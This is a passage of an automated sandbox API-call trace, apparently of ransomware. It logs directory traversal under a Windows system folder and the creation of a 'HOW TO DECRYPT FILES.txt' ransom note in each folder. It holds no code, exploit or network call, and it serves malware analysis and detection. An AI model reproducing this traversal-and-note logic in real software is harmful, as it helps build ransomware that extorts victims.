Files\\System\\ado\\msadox28.tlb") returned="msadox28.tlb" [0059.784] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\System\\ado\\" | out: lpString1="C:\\Program Files\\Common Files\\System\\ado\\") returned="C:\\Program Files\\Common Files\\System\\ado\\" [0059.784] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\System\\ado\\" | out: pszPath="C:\\Program Files\\Common Files\\System\\ado\\") returned="" [0059.784] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\ado\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\System\\ado\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\System\\ado\\HOW TO DECRYPT FILES.txt" [0059.784] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\system\\ado\\how to decrypt files.txt")) returned 0x20 [0059.784] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\ado\\", lpString2="msadrh15.dll" | out: lpString1="C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll") returned="C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll" [0059.784] FindNextFileA (in: hFindFile=0x4f8180, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf55bba, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xbf55bba, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x347dbdb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadrh15.dll", cAlternateFileName="")) returned 0 [0059.784] FindClose (in: hFindFile=0x4f8180 | out: hFindFile=0x4f8180) returned 1 [0059.784] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf4f1c09, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xbf4f1c09, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x128ffb00, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="DirectDB.dll", cAlternateFileName="")) returned 1 [0059.784] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0059.784] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DirectDB.dll") returned 1 [0059.784] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DirectDB.dll") returned 1 [0059.784] lstrcmpiA (lpString1="", lpString2="DirectDB.dll") returned -1 [0059.784] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\System\\*.*") returned="*.*" [0059.784] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\System\\" | out: lpString1="C:\\Program Files\\Common Files\\System\\") returned="C:\\Program Files\\Common Files\\System\\" [0059.785] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\System\\" | out: pszPath="C:\\Program Files\\Common Files\\System\\") returned="" [0059.785] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\System\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\System\\HOW TO DECRYPT FILES.txt" [0059.785] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\system\\how to decrypt files.txt")) returned 0xffffffff [0059.785] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\System\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\system\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x88 [0059.787] SetFileTime (hFile=0x88, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0059.787] CloseHandle (hObject=0x88) returned 1 [0059.787] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\", lpString2="DirectDB.dll" | out: lpString1="C:\\Program Files\\Common Files\\System\\DirectDB.dll") returned="C:\\Program Files\\Common Files\\System\\DirectDB.dll" [0059.787] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f83c8, cFileName="en-US", cAlternateFileName="")) returned 1 [0059.787] lstrcmpA (lpString1=".", lpString2="en-US") returned -1 [0059.787] lstrcmpA (lpString1="..", lpString2="en-US") returned -1 [0059.787] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\System\\DirectDB.dll") returned="DirectDB.dll" [0059.787] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\", lpString2="en-US" | out: lpString1="C:\\Program Files\\Common Files\\System\\en-US") returned="C:\\Program Files\\Common Files\\System\\en-US" [0059.787] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\System\\en-US\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f8192, cFileName=".", cAlternateFileName="")) returned 0x4f8180 [0059.788] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.788] FindNextFileA (in: hFindFile=0x4f8180, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0059.788] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.788] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.788] FindNextFileA (in: hFindFile=0x4f8180, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 1 [0059.788] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.788] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="wab32res.dll.mui") returned -1 [0059.788] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="wab32res.dll.mui") returned -1 [0059.788] lstrcmpiA (lpString1="", lpString2="wab32res.dll.mui") returned -1 [0059.788] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\System\\en-US\\*.*") returned="*.*" [0059.788] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\System\\en-US\\" | out: lpString1="C:\\Program Files\\Common Files\\System\\en-US\\") returned="C:\\Program Files\\Common Files\\System\\en-US\\" [0059.788] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\System\\en-US\\" | out: pszPath="C:\\Program Files\\Common Files\\System\\en-US\\") returned="" [0059.788] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\System\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\System\\en-US\\HOW TO DECRYPT FILES.txt" [0059.788] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\system\\en-us\\how to decrypt files.txt")) returned 0xffffffff [0059.788] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\System\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\system\\en-us\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0059.789] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0059.789] CloseHandle (hObject=0x8c) returned 1 [0059.789] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\en-US\\", lpString2="wab32res.dll.mui" | out: lpString1="C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui") returned="C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui" [0059.790] FindNextFileA (in: hFindFile=0x4f8180, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 0 [0059.790] FindClose (in: hFindFile=0x4f8180 | out: hFindFile=0x4f8180) returned 1 [0059.790] FindNextFileA (in: hFindFile=0x4f7080, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="msadc", cAlternateFileName="")) returned 1 [0059.790] lstrcmpA (lpString1=".", lpString2="msadc") returned -1 [0059.790] lstrcmpA (lpString1="..", lpString2="msadc") returned -1 [0059.790] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\System\\*.*") returned="*.*" [0059.790] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\", lpString2="msadc" | out: lpString1="C:\\Program Files\\Common Files\\System\\msadc") returned="C:\\Program Files\\Common Files\\System\\msadc" [0059.790] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f8478, cFileName=".", cAlternateFileName="")) returned 0x4f8180 [0059.792] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.792] FindNextFileA (in: hFindFile=0x4f8180, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0059.792] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.792] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.792] FindNextFileA (in: hFindFile=0x4f8180, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa34c44b4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa34c44b4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa05a2bb2, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x276, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="adcjavas.inc", cAlternateFileName="")) returned 1 [0059.792] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.792] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="adcjavas.inc") returned 1 [0059.793] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="adcjavas.inc") returned 1 [0059.793] lstrcmpiA (lpString1="", lpString2="adcjavas.inc") returned -1 [0059.793] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\System\\msadc\\*.*") returned="*.*" [0059.793] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\System\\msadc\\" | out: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\") returned="C:\\Program Files\\Common Files\\System\\msadc\\" [0059.793] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\System\\msadc\\" | out: pszPath="C:\\Program Files\\Common Files\\System\\msadc\\") returned="" [0059.793] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\System\\msadc\\HOW TO DECRYPT FILES.txt" [0059.793] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\system\\msadc\\how to decrypt files.txt")) returned 0xffffffff [0059.793] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\system\\msadc\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0059.794] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0059.794] CloseHandle (hObject=0x8c) returned 1 [0059.794] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\", lpString2="adcjavas.inc" | out: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" [0059.794] FindNextFileA (in: hFindFile=0x4f8180, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa34ea611, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa34ea611, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa063b126, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x26f, dwReserved0=0x0, dwReserved1=0x4f8478, cFileName="adcvbs.inc", cAlternateFileName="")) returned 1 [0059.794] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0059.794] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="adcvbs.inc") returned 1 [0059.794] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="adcvbs.inc") returned 1 [0059.794] lstrcmpiA (lpString1="", lpString2="adcvbs.inc") returned -1 [0059.795] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned="adcjavas.inc" [0059.795] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\System\\msadc\\" | out: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\") returned="C:\\Program Files\\Common Files\\System\\msadc\\" [0059.795] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\System\\msadc\\" | out: pszPath="C:\\Program Files\\Common Files\\System\\msadc\\") returned="" [0059.795] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\System\\msadc\\HOW TO DECRYPT FILES.txt" [0059.795] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\system\\msadc\\how to decrypt files.txt")) returned 0x20 [0059.795] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\", lpString2="adcvbs.inc" | out: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" [0059.795] FindNextFileA (in: hFindFile=0x4f8180, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0059.795] lstrcmpA (lpString1=".", lpString2="en-US") returned -1 [0059.795] lstrcmpA (lpString1="..", lpString2="en-US") returned -1 [0059.795] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned="adcvbs.inc" [0059.795] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\", lpString2="en-US" | out: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\en-US") returned="C:\\Program Files\\Common Files\\System\\msadc\\en-US" [0059.795] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x4f8246, cFileName=".", cAlternateFileName="")) returned 0x4f8118 [0059.797] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0059.797] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0059.797] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0059.797] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0059.797] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9351968, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x9351968, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="msadcer.dll.mui", cAlternateFileName="")) returned 1 [0059.797] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.797] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="msadcer.dll.mui") returned -1 [0059.797] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="msadcer.dll.mui") returned -1 [0059.797] lstrcmpiA (lpString1="", lpString2="msadcer.dll.mui") returned -1 [0059.797] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\*.*") returned="*.*" [0059.797] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\" | out: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\") returned="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\" [0059.797] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\" | out: pszPath="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\") returned="" [0059.797] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\HOW TO DECRYPT FILES.txt" [0059.797] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\how to decrypt files.txt")) returned 0xffffffff [0059.798] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0059.799] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0059.799] CloseHandle (hObject=0x90) returned 1 [0059.799] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\", lpString2="msadcer.dll.mui" | out: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui") returned="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui" [0059.799] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc32e361, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc60371c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xc32e361, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x4f8488, cFileName="msadcfr.dll.mui", cAlternateFileName="")) returned 1 [0059.799] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.799] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="msadcfr.dll.mui") returned -1 [0059.799] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="msadcfr.dll.mui") returned -1 [0059.799] lstrcmpiA (lpString1="", lpString2="msadcfr.dll.mui") returned -1 [0059.799] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui") returned="msadcer.dll.mui" [0059.799] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\" | out: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\") returned="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\" [0059.799] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\" | out: pszPath="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\") returned="" [0059.799] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\HOW TO DECRYPT FILES.txt" [0059.799] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\how to decrypt files.txt")) returned 0x20 [0059.799] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\", lpString2="msadcfr.dll.mui" | out: lpString1="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcfr.dll.mui") returned="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcfr.dll.mui" [0059.800] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a073ed, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x9e34029, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x9a073ed, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcor.dll.mui", cAlternateFileName="")) returned 1 [0059.800] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0059.800] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="msadcor.dll.mui") returned -1 [0059.800] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="msadcor.dll.mui") returned -1 [0059.800] lstrcmpiA (lpString1="", lpString2="msadcor.dll.mui") returned -1 [0059.800] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcfr.dll.mui") returned="msadcfr.dll.mui" [0059.800] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common 